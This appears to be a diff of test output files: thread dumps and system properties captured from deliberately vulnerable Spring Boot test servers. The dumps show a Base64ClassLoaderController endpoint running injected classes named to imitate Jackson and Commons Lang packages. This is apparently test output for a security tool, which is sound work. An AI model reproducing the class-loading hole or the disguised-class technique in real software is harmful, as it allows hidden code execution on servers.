at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-8" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-1" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"AppServer-utility-1" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-5" #25 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
|
||||
at com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:255)
|
||||
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:188)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:926)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:831)
|
||||
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
|
||||
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)
|
||||
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)
|
||||
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)
|
||||
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
|
||||
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:586)
|
||||
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
|
||||
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:654)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
|
||||
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
|
||||
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
|
||||
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
|
||||
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:539)
|
||||
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133)
|
||||
at com.bes.enterprise.webtier.valves.StuckThreadDetectionValve.invoke(StuckThreadDetectionValve.java:185)
|
||||
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
|
||||
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
|
||||
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388)
|
||||
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:475)
|
||||
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:972)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1942)
|
||||
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:51)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1194)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-0.0.0.0-8080-Acceptor" #31 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:617)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:96)
|
||||
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"SelectorReaderThread-8080-1" #30 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:859)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"DestroyJavaVM" #32 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Reference Handler" #2 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||
|
||||
"httpWorkerThread-8080-2" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"container-0" #29 [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ApplicationServer.await(ApplicationServer.java:562)
|
||||
at com.bes.enterprise.springboot.embedded.BesWebServer$1.run(BesWebServer.java:235)
|
||||
|
||||
|
||||
===========================================
|
||||
|
||||
StackClassNames:
|
||||
com.bes.enterprise.springboot.embedded.BesWebServer$1
|
||||
com.bes.enterprise.web.crane.AbstractProcessorLight
|
||||
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
|
||||
com.bes.enterprise.web.crane.http11.Http11Processor
|
||||
com.bes.enterprise.web.util.net.Acceptor
|
||||
com.bes.enterprise.web.util.net.NioEndpoint
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$Poller
|
||||
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
|
||||
com.bes.enterprise.web.util.net.SocketProcessorBase
|
||||
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
|
||||
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
|
||||
com.bes.enterprise.web.util.threads.WorkQueue
|
||||
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
|
||||
com.bes.enterprise.web.websocket.server.WsFilter
|
||||
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
|
||||
com.bes.enterprise.webtier.connector.CoyoteAdapter
|
||||
com.bes.enterprise.webtier.core.ApplicationFilterChain
|
||||
com.bes.enterprise.webtier.core.ApplicationServer
|
||||
com.bes.enterprise.webtier.core.DefaultContextValve
|
||||
com.bes.enterprise.webtier.core.DefaultEngineValve
|
||||
com.bes.enterprise.webtier.core.DefaultHostValve
|
||||
com.bes.enterprise.webtier.core.DefaultWrapperValve
|
||||
com.bes.enterprise.webtier.valves.ErrorReportValve
|
||||
com.bes.enterprise.webtier.valves.StuckThreadDetectionValve
|
||||
com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler
|
||||
com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController
|
||||
jakarta.servlet.http.HttpServlet
|
||||
org.springframework.web.filter.CharacterEncodingFilter
|
||||
org.springframework.web.filter.FormContentFilter
|
||||
org.springframework.web.filter.OncePerRequestFilter
|
||||
org.springframework.web.filter.RequestContextFilter
|
||||
org.springframework.web.method.support.InvocableHandlerMethod
|
||||
org.springframework.web.servlet.DispatcherServlet
|
||||
org.springframework.web.servlet.FrameworkServlet
|
||||
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
|
||||
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
|
||||
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
|
||||
@@ -0,0 +1,433 @@
|
||||
# Generated At 2026-08-21 10:13:30
|
||||
SystemProps:
|
||||
java.specification.version: 21
|
||||
sun.jnu.encoding: UTF-8
|
||||
java.class.path: /app/app.jar
|
||||
java.vm.vendor: Eclipse Adoptium
|
||||
sun.arch.data.model: 64
|
||||
java.vendor.url: https://adoptium.net/
|
||||
catalina.useNaming: false
|
||||
user.timezone: Etc/UTC
|
||||
java.vm.specification.version: 21
|
||||
os.name: Linux
|
||||
APPLICATION_NAME: vul-springboot4
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.boot.library.path: /opt/java/openjdk/lib
|
||||
sun.java.command: /app/app.jar
|
||||
jdk.debug: release
|
||||
sun.cpu.endian: little
|
||||
user.home: /root
|
||||
user.language: en
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.version.date: 2026-04-21
|
||||
java.home: /opt/java/openjdk
|
||||
file.separator: /
|
||||
java.vm.compressedOopsMode: Zero based
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.specification.name: Java Platform API Specification
|
||||
FILE_LOG_CHARSET: UTF-8
|
||||
java.awt.headless: true
|
||||
java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
java.runtime.version: 21.0.11+10-LTS
|
||||
user.name: root
|
||||
stdout.encoding: UTF-8
|
||||
path.separator: :
|
||||
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
file.encoding: UTF-8
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
java.vendor.version: Temurin-21.0.11+10
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
java.io.tmpdir: /tmp
|
||||
catalina.home: /tmp/tomcat.8080.9283356756873350272
|
||||
java.version: 21.0.11
|
||||
user.dir: /
|
||||
os.arch: aarch64
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
PID: 1
|
||||
CONSOLE_LOG_CHARSET: UTF-8
|
||||
catalina.base: /tmp/tomcat.8080.9283356756873350272
|
||||
native.encoding: UTF-8
|
||||
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
|
||||
java.vm.info: mixed mode, sharing
|
||||
stderr.encoding: UTF-8
|
||||
java.vendor: Eclipse Adoptium
|
||||
java.vm.version: 21.0.11+10-LTS
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
java.class.version: 65.0
|
||||
LOGGED_APPLICATION_NAME: [vul-springboot4]
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"http-nio-8080-exec-5" #41 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
|
||||
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:2522)
|
||||
at org.apache.commons.lang.jlEOs.ErrorPscoiHandler.toString(BasicInfoPrinter.java:26)
|
||||
at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22)
|
||||
at [email protected]/java.lang.invoke.LambdaForm$DMH/0x0000009801144400.invokeVirtual(LambdaForm$DMH)
|
||||
at [email protected]/java.lang.invoke.LambdaForm$MH/0x00000098012ed800.invoke(LambdaForm$MH)
|
||||
at [email protected]/java.lang.invoke.Invokers$Holder.invokeExact_MT(Invokers$Holder)
|
||||
at [email protected]/jdk.internal.reflect.DirectMethodHandleAccessor.invokeImpl(DirectMethodHandleAccessor.java:154)
|
||||
at [email protected]/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
|
||||
at [email protected]/java.lang.reflect.Method.invoke(Method.java:580)
|
||||
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252)
|
||||
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934)
|
||||
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853)
|
||||
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86)
|
||||
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963)
|
||||
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866)
|
||||
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000)
|
||||
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903)
|
||||
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649)
|
||||
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874)
|
||||
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132)
|
||||
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
|
||||
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
|
||||
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
|
||||
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199)
|
||||
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
|
||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
|
||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165)
|
||||
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77)
|
||||
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535)
|
||||
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115)
|
||||
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86)
|
||||
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71)
|
||||
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347)
|
||||
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406)
|
||||
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71)
|
||||
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307)
|
||||
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036)
|
||||
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b681d9f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
|
||||
|
||||
"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@3e133080
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait0(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:366)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:339)
|
||||
at [email protected]/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158)
|
||||
at [email protected]/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89)
|
||||
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173)
|
||||
|
||||
"http-nio-8080-exec-1" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
|
||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
|
||||
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
|
||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
|
||||
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:1583)
|
||||
|
||||
"DestroyJavaVM" #49 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"http-nio-8080-exec-4" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
|
||||
